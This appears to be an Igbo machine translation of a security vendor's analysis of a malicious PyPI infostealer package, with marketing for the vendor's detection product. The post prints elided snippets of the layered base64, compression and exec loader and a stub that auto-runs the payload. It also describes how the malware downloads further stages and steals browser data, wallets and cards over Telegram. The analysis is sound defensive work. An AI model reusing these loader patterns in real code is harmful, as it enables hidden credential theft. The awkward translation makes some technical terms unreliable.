Ngwugwu Python eriri na-efegharị efegharị, achọpụtara na PyPI, achọpụtala dị ka obi, nwere malware infostealer nkịtị. Agbanyeghị, njirimara ya bụ iji usoro nzuzo koodu dị elu nke na-ekpuchi ibu ọrụ ya, na-eme ka nyocha sie ike karịsịa. Malware a na-eji akwa mkpuchi atọ ugboro ugboro n'ofe usoro mwakpo ya, na-emepụta nnukwu ihe mgbochi maka iwepụ aka.
Mpempe akwụkwọ aghụghọ: Infostealer Malware na Koodu Obfuscation
Gịnị bụ Infostealer Malware?
Malware Infostealer na-arụ ọrụ dị ka onye ohi nzuzo n'ụwa dijitalụ gị. Ọ na-ejide ozi dị mkpa, dị ka paswọọdụ gị, nọmba kaadị kredit, ma ọ bụ nkọwa nkeonwe gị, n'amaghị ama. Mmemme ndị a na-edekọ ihe ị na-ede (keylogging), na-anapụ ihe nchọgharị gị, ma ọ bụ na-enyocha faịlụ dị na ngwaọrụ gị iji chịkọta data bara uru. Akụkụ kacha atụ egwu? Ha na-eme nke ọma n'ịnọ n'okpuru radar.
1. Nzochi Atọ
Usoro ikpuchi ihe na-amalite site na ibu ọrụ ezoro ezo nke dị n'ime asụsụ ọma.py faịlụ. Enwere ike ịchịkọta usoro nhazi na nchikọta mbụ dị ka ndị a:
encoded_data = base64_module.b64decode("... BASE-6 with encrypted payload, IV and RSA-encrypted keys…”); # … Sequential decryption: ChaCha20, Blowfish and AES … encrypted_payload = AES_Cipher.new(aes_key, AES_Cipher.MODE_CBC, iv=aes_iv).decrypt(encrypted_payload[16:]) final_payload = unpad_function(encrypted_payload, AES_Cipher.block_size) exec( zlib_module.decompress(bz2_module.decompress(final_payload)) ) Usoro mkpuchi a gụnyere:
- mkpakọ: Iji gzip na bzip.
- Izo ezo ezipụ: Nzochi e ji agbụ ígwè mee ya na ChaCha20, Blowfish, na AES.
- Ihe nzuzo asymmetric: RSA ejiri zoo igodo ndị ahụ.
A na-etinye ihe si na ya pụta na Base64 ma tinye ya dị ka data_encodedMgbanwe ọ bụla na-adabere na nke gara aga, na-emepụta usoro nzuzo nke nwere akụkụ nke na-eme ka ọ sie ike nke ukwuu ịchọpụta ibu ọrụ ahụ n'ezie na-enweghị nhazi mgbanwe.
2. Mwepụ Gzip
N'ọtụtụ usoro dị n'etiti, malware na-eji usoro nzuzo dị mfe mana dị irè: mkpakọ Gzip yana koodu Base64.
import base64, zlib; eval(zlib.decompress(base64.b64decode(<STR>).decode('utf-8')) Usoro a na-eme ka ibu ọrụ ahụ dị n'ime oghere ndị ahụ ghara ịpụta ìhè n'oge niile.
3. Njikọta Koodu na Nchịkọta Mgbanwe
Nkeji ikpeazụ gụnyere ikewa ibu ọrụ a na-ekpuchi n'ọtụtụ mgbanwe, nke jikọtara ọnụ ma gbanwee n'oge a na-arụ ọrụ:
import base64, zlib FEQXCBDOZKHVIhT = '...' # ....(111 other variables with base-64 encoded values) ... zZytWuvuEdBXSrO = eval(<FEQXCBDOZKHVIhT' encoded with '\x>) + eval(<next variable, encoded>) + eval( ' zlib.decompress(base64.b64decode(<VAR>)).decode('utf-8') ') + ... eval(compile(base64.b64decode(eval(zZytWuvuEdBXSrO)).decode('utf-8'), ‘<app>', 'exec')) Ogbo a siri ike nke ukwuu ịtụgharị onye injinia aka, ebe ọ bụ na a ga-agbanwe ma jikọta ihe ọ bụla dị iche iche iji gosipụta ibu ọrụ na-esote.
Site na ijikọta usoro ndị a na-eme ka ihe ghara ịdị ọcha, infostealer malware in eriri na-efegharị efegharị na-ezere nchọpụta, na-egosi ọrụ dị mkpa nke Koodu mmechi na mwakpo cyber nke oge a.
Usoro Mwakpo Ọtụtụ-Oge nke ThreadFluent
The eriri na-efegharị efegharị infostealer malware nwere usoro anọ dị iche iche, nke ọ bụla na-ewebata akwa ndị ọzọ nke Koodu mmechiUsoro ndị a anaghị eweta ibu ọrụ kamakwa ha na-echebe ya pụọ na nchọpụta na nyocha.
Nkebi nke 0: Mmezu Koodu Mbụ
Ebe ntinye bụ __init__.py faịlụ, nke na-amalite mmejuputa ọrụ nke ibu ọrụ a na-akpọchi akpọchi na asụsụ ọma.pyFaịlụ a na-eji obfuscation nke nwere ọtụtụ oyi akwa (dịka akọwara na nzọụkwụ 1–3) iji mepụta dropper nke Nzọụkwụ 1:
import os,threading def main(): if os.name == 'nt': from . import fluent fluent.main() thread = threading.Thread(target=main , daemon=True) thread.start() Nkebi nke 1: Mmalite Dropper
Onye mbụ na-ebudata ma tinye koodu ọjọọ ọzọ, ozugbo ewepụchara ya, puts.py, site na ebe nchekwa GitHub Ndị nwere ntutu isi uhie-1337/ndị nnọchi anya (ịdọ aka ná ntị: koodu ọjọọ nwere ike ime ebe a).
Ihe na-etinye dropper ahụ puts.py n'ime ntinye mpaghara nke ndị ama ama arịrịọ na-agbanwe ihe na ụlọ akwụkwọ ya __init__.py faịlụ iji mee nchọpụta ma mee nkebi na-esote. Nchọpụta nchọpụta a gụnyere ịtụgharị ọtụtụ ojiji nke oyi akwa nzuzo 1 … 3.
Nkeji nke Abụọ: Ihe Ndọpụ nke Abụọ
Ngwa nke abụọ, ozugbo a kpughepụrụ ya mgbe otu usoro ahụ gasịrị, na-ebudata ibu ọzọ, ssl.py site na ebe nchekwa GitHub, aha ya gbanwere aha dị ka udp.py, ma mepụta faịlụ mkpọchi iji hụ na malware anaghị agbanyeghachi ya ugboro ugboro. Mgbe ahụ, a na-agba ya iji wepụ ya, nke ga-eme ka e mechaa nweta ọrụ ikpeazụ nke infostealer.
Nkebi nke 3: Onye na-ezochi ozi ikpeazụ
Oge ikpeazụ bụ onye na-ezo ozi zuru oke nke na-eji usoro ịgbapụ elu:
- Atụmatụ mgbochi nyocha:
- Na-achọpụta ngwaọrụ antimalware ma kwụsị ma ọ bụrụ na achọpụtara usoro ọ bụla edepụtara na ndepụta ojii, IP, aha nnabata, ma ọ bụ gburugburu mebere emebere.
- Exfiltration data:
- Na-ejide ozi zuru oke. Site na adreesị IP, adreesị Mac, data VPN, kuki/akụkọ ihe mere eme nke ihe nchọgharị, data kaadị kredit na nzere obere akpa ego crypto, tinyere nseta ihuenyo.
- Na-eziga data ezuru (e zoro ezo) site na ọwa Telegram, site na iji template egosiri ebe a:
Atụmatụ Ịkọwapụta Mkpu
Iji nyochaa ngwugwu ndị yiri ya, ndị nchọpụta ga-agbanwe usoro mkpuchi ya n'ụzọ dị mfe:
- Iṅomi Nzọụkwụ Mkpuchi: Dee edemede iji mee ka mgbanwe ndị ahụ dị ka mgbanwe (dịka ọmụmaatụ, decryption, decompression) na-enweghị imezu ibu ọrụ ahụ.
- Ndabere nke Nzochi Ihe: Wepụta ma wepụ ihe dị mkpa site na iji igodo na algọridim ndị etinyere.
- Nnyocha ugboro ugboro: Hazie ọkwa etiti ọ bụla ugboro ugboro iji wughachi ibu ikpeazụ.
Ngwaọrụ akpaaka na gburugburu ebe a na-etinye ájá dị mkpa iji mee ka nyocha a dị mfe.
Ị chọrọ ịmatakwu gbasara ịnọ n'ihu ihe iyi egwu n'oge dị adị?
Budata akwụkwọ anyị, 'Ịdọ Aka Ná Ntị Mbụ: Nchọpụta Ihe Iyi Egwu na Nhazi Oge,' ma chọpụta otu esi echekwa usoro ọkọnọ ngwanrọ gị.
Onye Na-eme Ihe Iyi Egwu
O doro anya na e bipụtara ngwugwu ahụ site na akaụntụ PyPI abụọ, ABIRHOSSIN10 na anomilano785, ewepụrụ ugbu a.
E nwere akaụntụ GitHub (nke na-arụ ọrụ ugbu a) nke aha ya bụ ABIRHOSSIN10, nke nwere ike ịbụ ihe metụtara mkpọsa ahụ. Ntutu isi uhie-1337 A na-enyochakwa onye ọrụ GitHub nke nwere ebe nchekwa eji ebudata ihe ndị a na-ebugo na ọkwa nke abụọ na nke atọ.
Ọ bụ ezie na inyefe ihe na-esi ike mgbe niile, ọ ga-ekwe omumekwa ịbanye n'òtù ndị na-acha uhie uhie, ụdị na oke ozi e wepụtara na-egosi onye na-eme ihe ọjọọ.
Mmechi: Ọrụ nke Mkpuchi Koodu na Mmepe Malware
The eriri na-efegharị efegharị ngwugwu ahụ na-egosi mkpughe nke malware nke oge a n'ọtụtụ ọkwa ya. Tinyere usoro ịgbapụ ihe, ngwugwu a na-egosi mgbalị doro anya iji zere nchọpụta na iguzogide nyocha.
Nnyocha a na-egosi mkpa ọ dị imekọ ihe ọnụ na ngwaọrụ akpaaka n'ịlụso ihe iyi egwu dị otú ahụ ọgụ. Site n'ịchọpụta na ịghọta ụzọ ndị a, ndị ọkachamara nchekwa nwere ike ịmepụta nchebe ka mma megide malware ndị yiri ya n'ọdịnihu.
Otu Sistemụ MEW nke Xygeni si gbochie ngwugwu eriri ọjọọ iru mmepụta
Xygeni's Ịdọ Aka Ná Ntị Mbụ Banyere Malware (MEW) sistemụ ahụ nyeere aka n'ịkwụsị eriri na-efegharị efegharị ngwugwu Python, ntụkwasị obi ọjọọ nke nwere mmepe dị elu koodu nzuzo na usoro dị iche iche infostealer malwaretupu o nwee ike imebi gburugburu mmepụta. Lee otu esi eme ya:
- Nchọpụta Site na Nyocha Na-adịghị Agbanwe Agbanwe
Ahụrụ MEW eriri na-efegharị efegharịKoodu zoro ezo nke na-achọpụta ihe ịrịba ama a na-enyo enyo dị ka nzuzo dị larịị na ọrụ ịdabere na-adịghị ahụkebe. - Nyocha nke Ebe A Ga-esi Nweta Oge Ọsọ
Sistemụ ahụ chọpụtara na koodu ngwugwu ahụ nwere ike ịrụ ọrụ n'oge ejiri ya, nke na-egosi na ọ bụ nnukwu ihe iyi egwu na-enweghị ịgba ya n'ezie. - CI/CD Pipeline nchedo
Egbochiri MEW eriri na-efegharị efegharị n'oge ahụ, ọ kwụsịrị itinye ya na nrụpụta, ma gbochie ya iru mmepụta. O zigara ndị mmepe ozi ndị nwere ike ime ihe, na-azọpụta oge bara uru. - Ịkekọrịta ọgụgụ isi iyi egwu
Xygeni kọọrọ PyPI ngwa ngwa ngwugwu ahụ ma kesaa ihe ndị ọ chọpụtara na netwọk nchekwa ụwa ya, na-egbochi ya ịgbasa ọzọ.
Chebe gị CI/CD Pipelines maka n'efu
Gbochie ihe iyi egwu dịka eriri na-efegharị efegharị jiri sistemụ ịdọ aka ná ntị mbụ nke Xygeni nke Malware. Malite nke gị ikpe n'efu taa ma chekwaa usoro ọkọnọ ngwanrọ gị.
Luis Rodriguez
Luis Rodriguez bụ dọkịta ahụikecist + ọkà mmụta mgbakọ na mwepụ na CISSP. Ugbu a, ọ bụ onye hiwere ma bụrụkwa CTO na Xygeni Security. O nwere ihe karịrị afọ iri abụọ nke ahụmịhe na nchekwa ngwanrọ ma sonyere na ọrụ dịka SAST na SCAỌ na-elekwasị anya ugbu a na software supply chain security.
Daniel Martin
Daniel Martín bụ ọkachamara n'ihe gbasara nchekwa weebụ na onye otu ndị otu nchekwa nyocha Xygeni, ọkachamara na SDLC nchekwa na mbelata adịghị ike ngwa.
